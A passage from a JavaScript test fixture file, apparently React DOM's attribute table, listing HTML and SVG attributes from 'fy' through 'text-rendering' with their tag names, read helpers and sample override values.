overrideStringValue: '20em',\n    read: getSVGProperty('fy'),\n  },\n  {\n    name: 'fy',\n    read: getSVGProperty('fy'),\n    containerTagName: 'svg',\n    overrideStringValue: '20em',\n    tagName: 'radialGradient',\n  },\n  {\n    name: 'G1',\n    containerTagName: 'svg',\n    tagName: 'hkern',\n    read: getSVGAttribute('g1'),\n  },\n  {\n    name: 'g1',\n    read: getSVGAttribute('g1'),\n    containerTagName: 'svg',\n    tagName: 'hkern',\n  },\n  {\n    name: 'G2',\n    containerTagName: 'svg',\n    tagName: 'hkern',\n    read: getSVGAttribute('g2'),\n  },\n  {\n    name: 'g2',\n    read: getSVGAttribute('g2'),\n    containerTagName: 'svg',\n    tagName: 'hkern',\n  },\n  {\n    name: 'glyph-name',\n    read: getSVGAttribute('glyph-name'),\n    containerTagName: 'svg',\n    tagName: 'glyph',\n  },\n  {\n    name: 'glyph-orientation-horizontal',\n    containerTagName: 'svg',\n    tagName: 'text',\n    read: getSVGAttribute('glyph-orientation-horizontal'),\n  },\n  {\n    name: 'glyph-orientation-vertical',\n    containerTagName: 'svg',\n    tagName: 'text',\n    read: getSVGAttribute('glyph-orientation-vertical'),\n  },\n  {\n    name: 'glyphName',\n    read: getSVGAttribute('glyph-name'),\n    containerTagName: 'svg',\n    tagName: 'glyph',\n  },\n  {\n    name: 'glyphOrientationHorizontal',\n    containerTagName: 'svg',\n    tagName: 'text',\n    read: getSVGAttribute('glyph-orientation-horizontal'),\n  },\n  {\n    name: 'glyphOrientationVertical',\n    containerTagName: 'svg',\n    tagName: 'text',\n    read: getSVGAttribute('glyph-orientation-vertical'),\n  },\n  {\n    name: 'glyphRef',\n    read: getSVGAttribute('glyph-ref'),\n    containerTagName: 'svg',\n    tagName: 'altGlyph',\n  },\n  {\n    name: 'gradientTransform',\n    read: getSVGProperty('gradientTransform'),\n    containerTagName: 'svg',\n    overrideStringValue:\n      'translate(-10,-20) scale(2) rotate(45) translate(5,10)',\n    tagName: 'linearGradient',\n  },\n  {\n    name: 'gradientUnits',\n    read: getSVGProperty('gradientUnits'),\n    containerTagName: 'svg',\n    overrideStringValue: 'userSpaceOnUse',\n    tagName: 'linearGradient',\n  },\n  {\n    name: 'hanging',\n    read: getSVGAttribute('hanging'),\n    containerTagName: 'svg',\n    tagName: 'font-face',\n  },\n  // Disabled because it crashes other tests with React 15.\n  // TODO: re-enable when we no longer compare to 15.\n  // {name: 'hasOwnProperty', read: getAttribute('hasOwnProperty')},\n  {name: 'headers', containerTagName: 'tr', tagName: 'td'},\n  {name: 'height', tagName: 'img'},\n  {\n    name: 'height',\n    containerTagName: 'svg',\n    tagName: 'rect',\n    read: getSVGProperty('height'),\n    overrideStringValue: '100%',\n  },\n  {name: 'hidden', overrideStringValue: 'until-found'},\n  {name: 'high', tagName: 'meter'},\n  {\n    name: 'horiz-adv-x',\n    read: getSVGAttribute('horiz-adv-x'),\n    containerTagName: 'svg',\n    tagName: 'font',\n  },\n  {\n    name: 'horiz-origin-x',\n    read: getSVGAttribute('horiz-origin-x'),\n    containerTagName: 'svg',\n    tagName: 'font',\n  },\n  {\n    name: 'horizAdvX',\n    read: getSVGAttribute('horiz-adv-x'),\n    containerTagName: 'svg',\n    tagName: 'font',\n  },\n  {\n    name: 'horizOriginX',\n    read: getSVGAttribute('horiz-origin-x'),\n    containerTagName: 'svg',\n    tagName: 'font',\n  },\n  {name: 'href', tagName: 'a', overrideStringValue: 'https://reactjs.com'},\n  {name: 'hrefLang', read: getAttribute('hreflang')},\n  {name: 'htmlFor', tagName: 'label'},\n  {\n    name: 'http-equiv',\n    containerTagName: 'head',\n    tagName: 'meta',\n    read: getProperty('httpEquiv'),\n  },\n  {name: 'httpEquiv', containerTagName: 'head', tagName: 'meta'},\n  {name: 'icon', tagName: 'command', read: getAttribute('icon')},\n  {name: 'id'},\n  {name: 'ID', read: getProperty('id')},\n  {\n    name: 'ideographic',\n    read: getSVGAttribute('ideographic'),\n    containerTagName: 'svg',\n    tagName: 'font-face',\n  },\n  {\n    name: 'image-rendering',\n    tagName: 'svg',\n    read: getSVGAttribute('image-rendering'),\n  },\n  {\n    name: 'imageRendering',\n    tagName: 'svg',\n    read: getSVGAttribute('image-rendering'),\n  },\n  {name: 'imageSizes', tagName: 'link', read: getProperty('imageSizes')},\n  {name: 'imageSrcSet', tagName: 'link', read: getProperty('imageSrcset')},\n  {\n    name: 'in',\n    read: getSVGAttribute('in'),\n    containerTagName: 'svg',\n    tagName: 'feBlend',\n  },\n  {name: 'inert'},\n  {\n    name: 'in2',\n    read: getSVGProperty('in2'),\n    containerTagName: 'svg',\n    tagName: 'feBlend',\n  },\n  {name: 'initialChecked', read: getAttribute('initialchecked')},\n  {name: 'initialValue', read: getAttribute('initialvalue')},\n  {name: 'inlist', read: getAttribute('inlist')},\n  {name: 'inputMode', tagName: 'input'},\n  {name: 'integrity', tagName: 'script'},\n  {\n    name: 'intercept',\n    read: getSVGProperty('intercept'),\n    containerTagName: 'svg',\n    tagName: 'feFuncA',\n  },\n  {\n    name: 'is',\n    tagName: 'button',\n    overrideStringValue: 'x-test-element',\n    read: getAttribute('is'), // TODO: This could check if this is an extended custom element but this is a controversial spec.\n  },\n  {name: 'itemID', read: getAttribute('itemid')},\n  {name: 'itemProp', read: getAttribute('itemprop')},\n  {name: 'itemRef', read: getAttribute('itemref')},\n  {name: 'itemScope', read: getAttribute('itemscope')},\n  {name: 'itemType', read: getAttribute('itemtype')},\n  {\n    name: 'k',\n    read: getSVGAttribute('k'),\n    containerTagName: 'svg',\n    tagName: 'hkern',\n  },\n  {\n    name: 'K',\n    containerTagName: 'svg',\n    tagName: 'hkern',\n    read: getSVGAttribute('k'),\n  },\n  {\n    name: 'K1',\n    containerTagName: 'svg',\n    tagName: 'feComposite',\n    read: getSVGProperty('k1'),\n  },\n  {\n    name: 'k1',\n    read: getSVGProperty('k1'),\n    containerTagName: 'svg',\n    tagName: 'feComposite',\n  },\n  {\n    name: 'k2',\n    read: getSVGProperty('k2'),\n    containerTagName: 'svg',\n    tagName: 'feComposite',\n  },\n  {\n    name: 'k3',\n    read: getSVGProperty('k3'),\n    containerTagName: 'svg',\n    tagName: 'feComposite',\n  },\n  {\n    name: 'k4',\n    read: getSVGProperty('k4'),\n    containerTagName: 'svg',\n    tagName: 'feComposite',\n  },\n  {\n    name: 'kernelMatrix',\n    read: getSVGProperty('kernelMatrix'),\n    containerTagName: 'svg',\n    tagName: 'feConvolveMatrix',\n    overrideStringValue: '1 2 3,4',\n  },\n  {\n    name: 'kernelUnitLength',\n    read: getSVGAttribute('kernelUnitLength'),\n    containerTagName: 'svg',\n    tagName: 'feConvolveMatrix',\n  },\n  {\n    name: 'kerning',\n    containerTagName: 'svg',\n    tagName: 'text',\n    read: getSVGAttribute('kerning'),\n  },\n  {name: 'keyParams', read: getAttribute('keyParams')},\n  {\n    name: 'keyPoints',\n    read: getSVGAttribute('keyPoints'),\n    containerTagName: 'svg',\n    tagName: 'animateMotion',\n  },\n  {\n    name: 'keySplines',\n    read: getSVGAttribute('keySplines'),\n    containerTagName: 'svg',\n    tagName: 'animate',\n  },\n  {\n    name: 'keyTimes',\n    read: getSVGAttribute('keyTimes'),\n    containerTagName: 'svg',\n    tagName: 'animate',\n  },\n  {name: 'keyType', read: getAttribute('keyType')},\n  {name: 'kind', tagName: 'track', overrideStringValue: 'captions'},\n  {name: 'label', tagName: 'track'},\n  {name: 'LANG', read: getProperty('lang')},\n  {name: 'lang'},\n  {name: 'lang', containerTagName: 'document', tagName: 'html'},\n  {name: 'length', read: getAttribute('length')},\n  {\n    name: 'lengthAdjust',\n    read: getSVGProperty('lengthAdjust'),\n    containerTagName: 'svg',\n    tagName: 'text',\n    overrideStringValue: 'spacingAndGlyphs',\n  },\n  {\n    name: 'letter-spacing',\n    containerTagName: 'svg',\n    tagName: 'text',\n    read: getSVGAttribute('letter-spacing'),\n  },\n  {\n    name: 'letterSpacing',\n    containerTagName: 'svg',\n    tagName: 'text',\n    read: getSVGAttribute('letter-spacing'),\n  },\n  {\n    name: 'lighting-color',\n    containerTagName: 'svg',\n    tagName: 'feDiffuseLighting',\n    read: getSVGAttribute('lighting-color'),\n  },\n  {\n    name: 'lightingColor',\n    containerTagName: 'svg',\n    tagName: 'feDiffuseLighting',\n    read: getSVGAttribute('lighting-color'),\n  },\n  {\n    name: 'limitingConeAngle',\n    read: getSVGProperty('limitingConeAngle'),\n    containerTagName: 'svg',\n    tagName: 'feSpotLight',\n  },\n  {name: 'list', read: getAttribute('list')}, // TODO: This should match the ID of a datalist element and then read property.\n  {\n    name: 'local',\n    read: getSVGAttribute('local'),\n    containerTagName: 'svg',\n    tagName: 'color-profile',\n  },\n  {name: 'loop', tagName: 'audio'},\n  {name: 'low', tagName: 'meter'},\n  {name: 'manifest', read: getAttribute('manifest')},\n  {name: 'marginHeight', containerTagName: 'frameset', tagName: 'frame'},\n  {name: 'marginWidth', containerTagName: 'frameset', tagName: 'frame'},\n  {\n    name: 'marker-end',\n    containerTagName: 'svg',\n    tagName: 'line',\n    read: getSVGAttribute('marker-end'),\n  },\n  {\n    name: 'marker-mid',\n    containerTagName: 'svg',\n    tagName: 'line',\n    read: getSVGAttribute('marker-mid'),\n  },\n  {\n    name: 'marker-start',\n    containerTagName: 'svg',\n    tagName: 'line',\n    read: getSVGAttribute('marker-start'),\n  },\n  {\n    name: 'markerEnd',\n    containerTagName: 'svg',\n    tagName: 'line',\n    read: getSVGAttribute('marker-end'),\n  },\n  {\n    name: 'markerHeight',\n    read: getSVGProperty('markerHeight'),\n    containerTagName: 'svg',\n    tagName: 'marker',\n  },\n  {\n    name: 'markerMid',\n    containerTagName: 'svg',\n    tagName: 'line',\n    read: getSVGAttribute('marker-mid'),\n  },\n  {\n    name: 'markerStart',\n    containerTagName: 'svg',\n    tagName: 'line',\n    read: getSVGAttribute('marker-start'),\n  },\n  {\n    name: 'markerUnits',\n    read: getSVGProperty('markerUnits'),\n    containerTagName: 'svg',\n    tagName: 'marker',\n  },\n  {\n    name: 'markerWidth',\n    read: getSVGProperty('markerWidth'),\n    containerTagName: 'svg',\n    tagName: 'marker',\n  },\n  {\n    name: 'mask',\n    containerTagName: 'svg',\n    tagName: 'path',\n    read: getSVGAttribute('mask'),\n  },\n  {\n    name: 'maskContentUnits',\n    read: getSVGProperty('maskContentUnits'),\n    containerTagName: 'svg',\n    tagName: 'mask',\n    overrideStringValue: 'objectBoundingBox',\n  },\n  {\n    name: 'maskUnits',\n    read: getSVGProperty('maskUnits'),\n    containerTagName: 'svg',\n    tagName: 'mask',\n    overrideStringValue: 'userSpaceOnUse',\n  },\n  {\n    name: 'mathematical',\n    read: getSVGAttribute('mathematical'),\n    containerTagName: 'svg',\n    tagName: 'font-face',\n  },\n  {name: 'max', tagName: 'input'},\n  {name: 'max', tagName: 'meter'},\n  {name: 'max', tagName: 'progress'},\n  {\n    name: 'max',\n    containerTagName: 'svg',\n    tagName: 'animate',\n    read: getSVGAttribute('max'),\n  },\n  {name: 'maxLength', tagName: 'textarea'},\n  {name: 'media', tagName: 'link'},\n  {\n    name: 'media',\n    containerTagName: 'svg',\n    tagName: 'style',\n    read: getSVGProperty('media'),\n  },\n  {name: 'mediaGroup', tagName: 'video', read: getAttribute('mediagroup')}, // TODO: Not yet implemented in Chrome.\n  {name: 'method', tagName: 'form', overrideStringValue: 'POST'},\n  {\n    name: 'method',\n    containerTagName: 'svg',\n    tagName: 'textPath',\n    read: getSVGProperty('method'),\n    overrideStringValue: 'stretch',\n  },\n  {name: 'min', tagName: 'input'},\n  {name: 'min', tagName: 'meter'},\n  {\n    name: 'min',\n    containerTagName: 'svg',\n    tagName: 'animate',\n    read: getSVGAttribute('min'),\n  },\n  {name: 'minLength', tagName: 'input'},\n  {\n    name: 'mode',\n    read: getSVGProperty('mode'),\n    containerTagName: 'svg',\n    tagName: 'feBlend',\n    overrideStringValue: 'multiply',\n  },\n  {name: 'multiple', tagName: 'select'},\n  {name: 'muted', tagName: 'video'},\n  {name: 'name', tagName: 'input'},\n  {\n    name: 'name',\n    containerTagName: 'svg',\n    tagName: 'color-profile',\n    read: getSVGAttribute('color-profile'),\n  },\n  {name: 'noModule', tagName: 'script'},\n  {name: 'nonce', read: getAttribute('nonce')},\n  {name: 'noValidate', tagName: 'form'},\n  {\n    name: 'numOctaves',\n    read: getSVGProperty('numOctaves'),\n    containerTagName: 'svg',\n    tagName: 'feTurbulence',\n  },\n  {\n    name: 'offset',\n    read: getSVGProperty('offset'),\n    containerTagName: 'svg',\n    tagName: 'stop',\n  },\n  {name: 'on-click'}, // TODO: Check for event subscriptions\n  {name: 'on-unknownevent'}, // TODO: Check for event subscriptions\n  {name: 'onclick'}, // TODO: Check for event subscriptions\n  {name: 'onClick'}, // TODO: Check for event subscriptions\n  {name: 'onunknownevent'}, // TODO: Check for event subscriptions\n  {name: 'onUnknownEvent'}, // TODO: Check for event subscriptions\n  {\n    name: 'opacity',\n    containerTagName: 'svg',\n    tagName: 'path',\n    read: getSVGAttribute('opacity'),\n  },\n  {name: 'open', tagName: 'details'},\n  {\n    name: 'operator',\n    read: getSVGProperty('operator'),\n    containerTagName: 'svg',\n    tagName: 'feComposite',\n    overrideStringValue: 'xor',\n  },\n  {name: 'optimum', tagName: 'meter'},\n  {\n    name: 'order',\n    read: getSVGAttribute('order'),\n    containerTagName: 'svg',\n    tagName: 'feConvolveMatrix',\n  },\n  {\n    name: 'orient',\n    read: getSVGAttribute('orient'),\n    containerTagName: 'svg',\n    tagName: 'marker',\n  },\n  {\n    name: 'orientation',\n    read: getSVGAttribute('orientation'),\n    containerTagName: 'svg',\n    tagName: 'glyph',\n  },\n  {\n    name: 'origin',\n    read: getSVGAttribute('origin'),\n    containerTagName: 'svg',\n    tagName: 'animateMotion',\n  },\n  {\n    name: 'overflow',\n    containerTagName: 'svg',\n    tagName: 'path',\n    read: getSVGAttribute('overflow'),\n  },\n  {\n    name: 'overline-position',\n    read: getSVGAttribute('overline-position'),\n    containerTagName: 'svg',\n    tagName: 'font-face',\n  },\n  {\n    name: 'overline-thickness',\n    read: getSVGAttribute('overline-thickness'),\n    containerTagName: 'svg',\n    tagName: 'font-face',\n  },\n  {\n    name: 'overlinePosition',\n    read: getSVGAttribute('overline-position'),\n    containerTagName: 'svg',\n    tagName: 'font-face',\n  },\n  {\n    name: 'overlineThickness',\n    read: getSVGAttribute('overline-thickness'),\n    containerTagName: 'svg',\n    tagName: 'font-face',\n  },\n  {\n    name: 'paint-order',\n    containerTagName: 'svg',\n    tagName: 'path',\n    read: getSVGAttribute('paint-order'),\n  },\n  {\n    name: 'paintOrder',\n    containerTagName: 'svg',\n    tagName: 'path',\n    read: getSVGAttribute('paint-order'),\n  },\n  {\n    name: 'panose-1',\n    read: getSVGAttribute('panose-1'),\n    containerTagName: 'svg',\n    tagName: 'font-face',\n  },\n  {\n    name: 'panose1',\n    containerTagName: 'svg',\n    tagName: 'font-face',\n    read: getSVGAttribute('panose-1'),\n  },\n  {\n    name: 'pathLength',\n    read: getSVGProperty('pathLength'),\n    containerTagName: 'svg',\n    tagName: 'path',\n  },\n  {name: 'pattern', tagName: 'input'},\n  {\n    name: 'patternContentUnits',\n    read: getSVGProperty('patternContentUnits'),\n    containerTagName: 'svg',\n    tagName: 'pattern',\n    overrideStringValue: 'objectBoundingBox',\n  },\n  {\n    name: 'patternTransform',\n    read: getSVGProperty('patternTransform'),\n    containerTagName: 'svg',\n    tagName: 'pattern',\n    overrideStringValue:\n      'translate(-10,-20) scale(2) rotate(45) translate(5,10)',\n  },\n  {\n    name: 'patternUnits',\n    read: getSVGProperty('patternUnits'),\n    containerTagName: 'svg',\n    tagName: 'pattern',\n    overrideStringValue: 'userSpaceOnUse',\n  },\n  {name: 'placeholder', tagName: 'input'},\n  {name: 'playsInline', read: getAttribute('playsinline')},\n  {\n    name: 'pointer-events',\n    containerTagName: 'svg',\n    tagName: 'path',\n    read: getSVGAttribute('pointer-events'),\n  },\n  {\n    name: 'pointerEvents',\n    containerTagName: 'svg',\n    tagName: 'path',\n    read: getSVGAttribute('pointer-events'),\n  },\n  {\n    name: 'points',\n    read: getSVGProperty('points'),\n    containerTagName: 'svg',\n    tagName: 'polygon',\n    overrideStringValue: '350,75  379,161 469,161',\n  },\n  {\n    name: 'pointsAtX',\n    read: getSVGProperty('pointsAtX'),\n    containerTagName: 'svg',\n    tagName: 'feSpotLight',\n  },\n  {\n    name: 'pointsAtY',\n    read: getSVGProperty('pointsAtY'),\n    containerTagName: 'svg',\n    tagName: 'feSpotLight',\n  },\n  {\n    name: 'pointsAtZ',\n    read: getSVGProperty('pointsAtZ'),\n    containerTagName: 'svg',\n    tagName: 'feSpotLight',\n  },\n  {name: 'popover', overrideStringValue: 'manual'},\n  {\n    name: 'popoverTarget',\n    read: element => {\n      document.body.appendChild(element);\n      try {\n        // trigger and target need to be connected for `popoverTargetElement` to read the actual value.\n        return element.popoverTargetElement;\n      } finally {\n        document.body.removeChild(element);\n      }\n    },\n    overrideStringValue: 'popover-target',\n    tagName: 'button',\n  },\n  {name: 'popoverTargetAction', overrideStringValue: 'show', tagName: 'button'},\n  {\n    name: 'poster',\n    tagName: 'video',\n    overrideStringValue: 'https://reactjs.com',\n  },\n  {name: 'prefix', read: getAttribute('prefix')},\n  {name: 'preload', tagName: 'video', overrideStringValue: 'none'},\n  {\n    name: 'preserveAlpha',\n    read: getSVGProperty('preserveAlpha'),\n    containerTagName: 'svg',\n    tagName: 'feConvolveMatrix',\n  },\n  {\n    name: 'preserveAspectRatio',\n    read: getSVGProperty('preserveAspectRatio'),\n    containerTagName: 'svg',\n    tagName: 'feImage',\n    overrideStringValue: 'xMinYMin slice',\n  },\n  {\n    name: 'primitiveUnits',\n    read: getSVGProperty('primitiveUnits'),\n    containerTagName: 'svg',\n    tagName: 'filter',\n    overrideStringValue: 'objectBoundingBox',\n  },\n  {name: 'profile', read: getAttribute('profile')},\n  {name: 'property', read: getAttribute('property')},\n  {name: 'props', read: getAttribute('props')},\n  {\n    name: 'r',\n    read: getSVGProperty('r'),\n    containerTagName: 'svg',\n    tagName: 'circle',\n    overrideStringValue: '10pt',\n  },\n  {name: 'radioGroup', tagName: 'command', read: getAttribute('radiogroup')},\n  {\n    name: 'radius',\n    read: getSVGAttribute('radius'),\n    containerTagName: 'svg',\n    tagName: 'feMorphology',\n  },\n  {name: 'readOnly', tagName: 'input'},\n  {name: 'referrerPolicy', tagName: 'iframe'},\n  {\n    name: 'refX',\n    read: getSVGProperty('refX'),\n    containerTagName: 'svg',\n    tagName: 'marker',\n    overrideStringValue: '5em',\n  },\n  {\n    name: 'refY',\n    read: getSVGProperty('refY'),\n    containerTagName: 'svg',\n    tagName: 'marker',\n    overrideStringValue: '6em',\n  },\n  {name: 'rel', tagName: 'a'},\n  {\n    name: 'rendering-intent',\n    read: getSVGAttribute('rendering-intent'),\n    containerTagName: 'svg',\n    tagName: 'color-profile',\n  },\n  {\n    name: 'renderingIntent',\n    read: getSVGAttribute('rendering-intent'),\n    containerTagName: 'svg',\n    tagName: 'color-profile',\n  },\n  {\n    name: 'repeatCount',\n    read: getSVGAttribute('repeatcount'),\n    containerTagName: 'svg',\n    tagName: 'animate',\n  },\n  {\n    name: 'repeatDur',\n    read: getSVGAttribute('repeatdur'),\n    containerTagName: 'svg',\n    tagName: 'animate',\n  },\n  {name: 'required', tagName: 'input'},\n  {\n    name: 'requiredExtensions',\n    read: getSVGProperty('requiredExtensions'),\n    containerTagName: 'svg',\n    tagName: 'a',\n  },\n  {\n    name: 'requiredFeatures',\n    read: getSVGAttribute('requiredFeatures'),\n    containerTagName: 'svg',\n    tagName: 'a',\n  },\n  {name: 'resource', read: getAttribute('resource')},\n  {\n    name: 'restart',\n    read: getSVGAttribute('resource'),\n    containerTagName: 'svg',\n    tagName: 'animate',\n  },\n  {\n    name: 'result',\n    read: getSVGProperty('result'),\n    containerTagName: 'svg',\n    tagName: 'feBlend',\n  },\n  {name: 'results', tagName: 'input', read: getAttribute('results')}, // TODO: Should use property but it's not supported in Chrome.\n  {name: 'reversed', tagName: 'ol'},\n  {name: 'role', read: getAttribute('role')},\n  {\n    name: 'rotate',\n    read: getSVGAttribute('role'),\n    containerTagName: 'svg',\n    tagName: 'altGlyph',\n  },\n  {name: 'rows', tagName: 'textarea'},\n  {name: 'rowSpan', containerTagName: 'tr', tagName: 'td'},\n  {\n    name: 'rx',\n    read: getSVGProperty('rx'),\n    containerTagName: 'svg',\n    tagName: 'ellipse',\n    overrideStringValue: '1px',\n  },\n  {\n    name: 'ry',\n    read: getSVGProperty('ry'),\n    containerTagName: 'svg',\n    tagName: 'ellipse',\n    overrideStringValue: '2px',\n  },\n  {\n    name: 'sandbox',\n    tagName: 'iframe',\n    overrideStringValue: 'allow-forms  allow-scripts',\n  },\n  {\n    name: 'scale',\n    read: getSVGProperty('scale'),\n    containerTagName: 'svg',\n    tagName: 'feDisplacementMap',\n  },\n  {\n    name: 'scope',\n    containerTagName: 'tr',\n    tagName: 'th',\n    overrideStringValue: 'row',\n  },\n  {name: 'scoped', tagName: 'style', read: getAttribute('scoped')},\n  {name: 'scrolling', tagName: 'iframe', overrideStringValue: 'no'},\n  {name: 'seamless', tagName: 'iframe', read: getAttribute('seamless')},\n  {name: 'security', tagName: 'iframe', read: getAttribute('security')},\n  {\n    name: 'seed',\n    read: getSVGProperty('seed'),\n    containerTagName: 'svg',\n    tagName: 'feTurbulence',\n  },\n  {name: 'selected', tagName: 'option', containerTagName: 'select'},\n  {name: 'selectedIndex', tagName: 'select'},\n  {name: 'shape', tagName: 'a'},\n  {\n    name: 'shape-rendering',\n    tagName: 'svg',\n    read: getSVGAttribute('shape-rendering'),\n  },\n  {\n    name: 'shapeRendering',\n    tagName: 'svg',\n    read: getSVGAttribute('shape-rendering'),\n  },\n  {name: 'size', tagName: 'input'},\n  {name: 'sizes', tagName: 'link'},\n  {\n    name: 'slope',\n    read: getSVGAttribute('slope'),\n    containerTagName: 'svg',\n    tagName: 'font-face',\n  },\n  {\n    name: 'spacing',\n    read: getSVGProperty('spacing'),\n    containerTagName: 'svg',\n    tagName: 'textPath',\n    overrideStringValue: 'auto',\n  },\n  {name: 'span', containerTagName: 'colgroup', tagName: 'col'},\n  {\n    name: 'specularConstant',\n    read: getSVGProperty('specularConstant'),\n    containerTagName: 'svg',\n    tagName: 'feSpecularLighting',\n  },\n  {\n    name: 'specularExponent',\n    read: getSVGProperty('specularConstant'),\n    containerTagName: 'svg',\n    tagName: 'feSpecularLighting',\n  },\n  {name: 'speed', read: getAttribute('speed')},\n  {\n    name: 'spellCheck',\n    overrideStringValue: 'false',\n    tagName: 'input',\n    read: getProperty('spellcheck'),\n  },\n  {\n    name: 'spellcheck',\n    overrideStringValue: 'false',\n    tagName: 'input',\n    read: getProperty('spellcheck'),\n  },\n  {\n    name: 'spreadMethod',\n    read: getSVGProperty('spreadMethod'),\n    containerTagName: 'svg',\n    tagName: 'linearGradient',\n    overrideStringValue: 'reflect',\n  },\n  {name: 'src', tagName: 'img', overrideStringValue: 'https://reactjs.com'},\n  {\n    name: 'srcDoc',\n    tagName: 'iframe',\n    overrideStringValue: '<p>Hi</p>',\n    read: getProperty('srcdoc'),\n  },\n  {\n    name: 'srcdoc',\n    tagName: 'iframe',\n    overrideStringValue: '<p>Hi</p>',\n    read: getProperty('srcdoc'),\n  },\n  {\n    name: 'srcLang',\n    containerTagName: 'audio',\n    tagName: 'track',\n    overrideStringValue: 'en',\n    read: getProperty('srclang'),\n  },\n  {\n    name: 'srclang',\n    containerTagName: 'audio',\n    tagName: 'track',\n    overrideStringValue: 'en',\n    read: getProperty('srclang'),\n  },\n  {name: 'srcSet', tagName: 'img'},\n  {name: 'srcset', tagName: 'img'},\n  {name: 'start', tagName: 'ol'},\n  {\n    name: 'startOffset',\n    read: getSVGProperty('startOffset'),\n    containerTagName: 'svg',\n    tagName: 'textPath',\n  },\n  {name: 'state', read: getAttribute('state')},\n  {\n    name: 'stdDeviation',\n    read: getSVGAttribute('stdDeviation'),\n    containerTagName: 'svg',\n    tagName: 'feGaussianBlur',\n  },\n  {\n    name: 'stemh',\n    read: getSVGAttribute('stemh'),\n    containerTagName: 'svg',\n    tagName: 'font-face',\n  },\n  {\n    name: 'stemv',\n    read: getSVGAttribute('stemv'),\n    containerTagName: 'svg',\n    tagName: 'font-face',\n  },\n  {name: 'step', read: getAttribute('step')},\n  {\n    name: 'stitchTiles',\n    read: getSVGProperty('stitchTiles'),\n    containerTagName: 'svg',\n    tagName: 'feTurbulence',\n    overrideStringValue: 'stitch',\n  },\n  {\n    name: 'stop-color',\n    containerTagName: 'svg',\n    tagName: 'stop',\n    read: getSVGAttribute('stop-color'),\n  },\n  {\n    name: 'stop-opacity',\n    containerTagName: 'svg',\n    tagName: 'stop',\n    read: getSVGAttribute('stop-opacity'),\n  },\n  {\n    name: 'stopColor',\n    containerTagName: 'svg',\n    tagName: 'stop',\n    read: getSVGAttribute('stop-color'),\n  },\n  {\n    name: 'stopOpacity',\n    containerTagName: 'svg',\n    tagName: 'stop',\n    read: getSVGAttribute('stop-opacity'),\n  },\n  {\n    name: 'strikethrough-position',\n    read: getSVGAttribute('strikethrough-position'),\n    containerTagName: 'svg',\n    tagName: 'font-face',\n  },\n  {\n    name: 'strikethrough-thickness',\n    read: getSVGAttribute('strikethrough-thickness'),\n    containerTagName: 'svg',\n    tagName: 'font-face',\n  },\n  {\n    name: 'strikethroughPosition',\n    read: getSVGAttribute('strikethrough-position'),\n    containerTagName: 'svg',\n    tagName: 'font-face',\n  },\n  {\n    name: 'strikethroughThickness',\n    read: getSVGAttribute('strikethrough-thickness'),\n    containerTagName: 'svg',\n    tagName: 'font-face',\n  },\n  {\n    name: 'string',\n    read: getSVGAttribute('string'),\n    containerTagName: 'svg',\n    tagName: 'font-face-format',\n  },\n  {\n    name: 'stroke',\n    containerTagName: 'svg',\n    tagName: 'path',\n    read: getSVGAttribute('stroke'),\n  },\n  {\n    name: 'stroke-dasharray',\n    containerTagName: 'svg',\n    tagName: 'path',\n    read: getSVGAttribute('stroke-dasharray'),\n  },\n  {\n    name: 'stroke-Dasharray',\n    containerTagName: 'svg',\n    tagName: 'path',\n    read: getSVGAttribute('stroke-dasharray'),\n  },\n  {\n    name: 'stroke-dashoffset',\n    containerTagName: 'svg',\n    tagName: 'path',\n    read: getSVGAttribute('stroke-dashoffset'),\n  },\n  {\n    name: 'stroke-linecap',\n    containerTagName: 'svg',\n    tagName: 'path',\n    read: getSVGAttribute('stroke-linecap'),\n  },\n  {\n    name: 'stroke-linejoin',\n    containerTagName: 'svg',\n    tagName: 'path',\n    read: getSVGAttribute('stroke-linejoin'),\n  },\n  {\n    name: 'stroke-miterlimit',\n    containerTagName: 'svg',\n    tagName: 'path',\n    read: getSVGAttribute('stroke-miterlimit'),\n  },\n  {\n    name: 'stroke-opacity',\n    containerTagName: 'svg',\n    tagName: 'path',\n    read: getSVGAttribute('stroke-opacity'),\n  },\n  {\n    name: 'stroke-width',\n    containerTagName: 'svg',\n    tagName: 'path',\n    read: getSVGAttribute('stroke-width'),\n  },\n  {\n    name: 'strokeDasharray',\n    containerTagName: 'svg',\n    tagName: 'path',\n    read: getSVGAttribute('stroke-dasharray'),\n  },\n  {\n    name: 'strokeDashoffset',\n    containerTagName: 'svg',\n    tagName: 'path',\n    read: getSVGAttribute('stroke-dashoffset'),\n  },\n  {\n    name: 'strokeLinecap',\n    containerTagName: 'svg',\n    tagName: 'path',\n    read: getSVGAttribute('stroke-linecap'),\n  },\n  {\n    name: 'strokeLinejoin',\n    containerTagName: 'svg',\n    tagName: 'path',\n    read: getSVGAttribute('stroke-linejoin'),\n  },\n  {\n    name: 'strokeMiterlimit',\n    containerTagName: 'svg',\n    tagName: 'path',\n    read: getSVGAttribute('stroke-miterlimit'),\n  },\n  {\n    name: 'strokeOpacity',\n    containerTagName: 'svg',\n    tagName: 'path',\n    read: getSVGAttribute('stroke-opacity'),\n  },\n  {\n    name: 'strokeWidth',\n    containerTagName: 'svg',\n    tagName: 'path',\n    read: getSVGAttribute('stroke-width'),\n  },\n  {name: 'style'},\n  {name: 'summary', tagName: 'table'},\n  {\n    name: 'suppressContentEditableWarning',\n    read: getAttribute('suppresscontenteditablewarning'),\n  },\n  {\n    name: 'surfaceScale',\n    read: getSVGProperty('surfaceScale'),\n    containerTagName: 'svg',\n    tagName: 'feDiffuseLighting',\n  },\n  {\n    name: 'systemLanguage',\n    overrideStringValue: 'en',\n    read: getSVGProperty('systemLanguage'),\n    containerTagName: 'svg',\n    tagName: 'a',\n  },\n  {name: 'tabIndex'},\n  {\n    name: 'tabIndex',\n    read: getSVGProperty('tabIndex'),\n    tagName: 'svg',\n  },\n  {\n    name: 'tableValues',\n    read: getSVGProperty('tableValues'),\n    containerTagName: 'svg',\n    tagName: 'feFuncA',\n    overrideStringValue: '0 1 2 3',\n  },\n  {\n    name: 'target',\n    read: getSVGProperty('target'),\n    containerTagName: 'svg',\n    tagName: 'a',\n  },\n  {\n    name: 'targetX',\n    read: getSVGProperty('targetX'),\n    containerTagName: 'svg',\n    tagName: 'feConvolveMatrix',\n  },\n  {\n    name: 'targetY',\n    read: getSVGProperty('targetY'),\n    containerTagName: 'svg',\n    tagName: 'feConvolveMatrix',\n  },\n  {\n    name: 'text-anchor',\n    containerTagName: 'svg',\n    tagName: 'text',\n    read: getSVGAttribute('text-anchor'),\n  },\n  {\n    name: 'text-decoration',\n    containerTagName: 'svg',\n    tagName: 'text',\n    read: getSVGAttribute('text-decoration'),\n  },\n  {\n    name: 'text-rendering',\n    tagName: 'svg',\n    read: getSVGAttribute('text-rendering'),\n  },\n  